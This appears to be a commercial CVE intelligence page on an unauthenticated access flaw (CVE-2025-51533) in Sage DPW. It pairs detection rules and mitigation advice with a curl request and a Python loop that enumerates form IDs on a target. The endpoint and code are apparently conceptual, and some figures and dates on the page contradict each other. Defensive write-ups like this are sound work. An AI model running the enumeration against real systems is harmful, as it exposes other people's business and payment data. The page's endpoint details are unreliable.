☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 5.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N 🐛 CWE-639
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-51533

CVE-2025-51533 Insecure Direct Object Reference in Sage
📅 PUBLISHED: 2025-08-07 00:00 UTC 🔄 UPDATED: 2026-08-12 09:00 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.26%
👁️
0.26% probability
6.5× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: <= v2024_12_004
CVSS VECTOR BREAKDOWN 5.3
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: L Confidentiality Low
I: N Integrity None
A: N Availability None
5.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-51533 is an Insecure Direct Object Reference (IDOR) vulnerability in Sage DPW (Digital Payment Works) versions v2024_12_004 and below. This flaw allows an unauthenticated attacker to access internal forms by sending a crafted GET request, bypassing authorization checks. The vulnerability has a CVSS score of 5.3 (Medium) and an EPSS score of 0.0%, indicating low exploitation likelihood currently. However, the lack of a known patch and the potential for data exposure make this a significant concern for organizations using Sage DPW.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a proprietary Sage application (Sage DPW). Organizations should verify their Sage DPW deployment version and apply any vendor-supplied updates or mitigations.

CVSS Breakdown & Threat Level

  • CVSS Score: 5.3 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: None
  • User Interaction: None
  • Scope: Unchanged
  • Confidentiality Impact: Low
  • Integrity Impact: None
  • Availability Impact: None

The threat level is Medium due to the low complexity and no authentication requirement, but the impact is limited to low confidentiality loss.

Deep Dive & Mechanics

The vulnerability is an Insecure Direct Object Reference (IDOR) in Sage DPW. The application fails to properly validate user authorization when accessing internal forms via GET requests. An attacker can enumerate or guess form identifiers (e.g., form IDs, URLs) and directly access them without proper authentication or authorization checks.

Root Cause: The application does not enforce access controls on internal form endpoints, allowing direct access via crafted GET requests.

Attack Vector: An unauthenticated attacker sends a GET request to a vulnerable endpoint, such as /internal/form?id=123, and receives sensitive data without proper authorization.

Impact: Unauthorized access to internal forms, potentially exposing sensitive business data, payment information, or configuration details.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code pattern is described conceptually.

Vulnerable Code (Conceptual):

@app.route('/internal/form')
def get_form():
    form_id = request.args.get('id')
    # No authorization check
    form_data = db.query("SELECT * FROM forms WHERE id = ?", form_id)
    return jsonify(form_data)

Patched Code (Conceptual):

@app.route('/internal/form')
@login_required
def get_form():
    form_id = request.args.get('id')
    if not current_user.has_access(form_id):
        abort(403)
    form_data = db.query("SELECT * FROM forms WHERE id = ?", form_id)
    return jsonify(form_data)

The patched version adds authentication (@login_required) and authorization checks (current_user.has_access(form_id)).

Exploitation & Lab Setup

Red Team

Prerequisites:

  • Target running Sage DPW v2024_12_004 or below.
  • Network access to the application.

Exploitation Steps:

  1. Identify internal form endpoints (e.g., via directory brute-forcing or known patterns).
  2. Send a crafted GET request to access a form without authentication:
    curl -X GET "http://target.com/internal/form?id=1"
    
  3. If successful, the response will contain form data. Enumerate form IDs to access more data.

Automated Exploitation (Conceptual):

import requests

target = "http://target.com"
for form_id in range(1, 100):
    r = requests.get(f"{target}/internal/form?id={form_id}")
    if r.status_code == 200:
        print(f"Accessed form {form_id}: {r.text}")

Blue Team

Detection:

  • Monitor for unusual GET requests to /internal/form or similar endpoints.
  • Look for requests without proper session tokens or authentication headers.
  • Alert on multiple sequential requests to form endpoints from a single IP.

Mitigation:

  • Implement proper authentication and authorization checks on all internal endpoints.
  • Use role-based access control (RBAC) to restrict form access.
  • Apply input validation and parameterized queries to prevent IDOR.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • GET requests to /internal/form?id=<number> from unauthorized IPs.
    • Repeated requests to form endpoints without authentication.
  • Log IOCs:
    • HTTP 200 responses to /internal/form without prior authentication.
    • Access logs showing direct form access without session tokens.
  • File IOCs:
    • Unauthorized access to form data in application logs.

Detection Engineering

YARA Rule

rule CVE_2025_51533_IDOR_Sage_DPW {
    meta:
        description = "Detects exploitation attempts of CVE-2025-51533 IDOR in Sage DPW"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-51533"
    strings:
        $s1 = "/internal/form?id=" ascii wide nocase
        $s2 = "GET /internal/form" ascii wide nocase
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-51533 - Sage DPW IDOR Exploitation Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects GET requests to Sage DPW internal form endpoints without authentication
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/internal/form'
        cs-uri-query: 'id=*'
    condition: selection
falsepositives:
    - Legitimate authenticated access (should be rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-51533 - Sage DPW IDOR Exploitation Attempt"; flow:to_server; http.method; content:"GET"; http.uri; content:"/internal/form?id="; nocase; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Isolate the Sage DPW application from untrusted networks if possible.
  2. Implement a Web Application Firewall (WAF) rule to block requests to /internal/form without proper authentication.
  3. Monitor logs for unauthorized access attempts.

Long-term Fix:

  1. Apply vendor patch when available.
  2. Implement proper authentication and authorization checks on all internal endpoints.
  3. Conduct a security audit of the application for similar IDOR vulnerabilities.
  4. Use parameterized queries and input validation.

Workaround:

  • Restrict access to the /internal/form endpoint via network ACLs or reverse proxy rules.

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

Sage DPW
Sage DPW v2024

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-51533/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.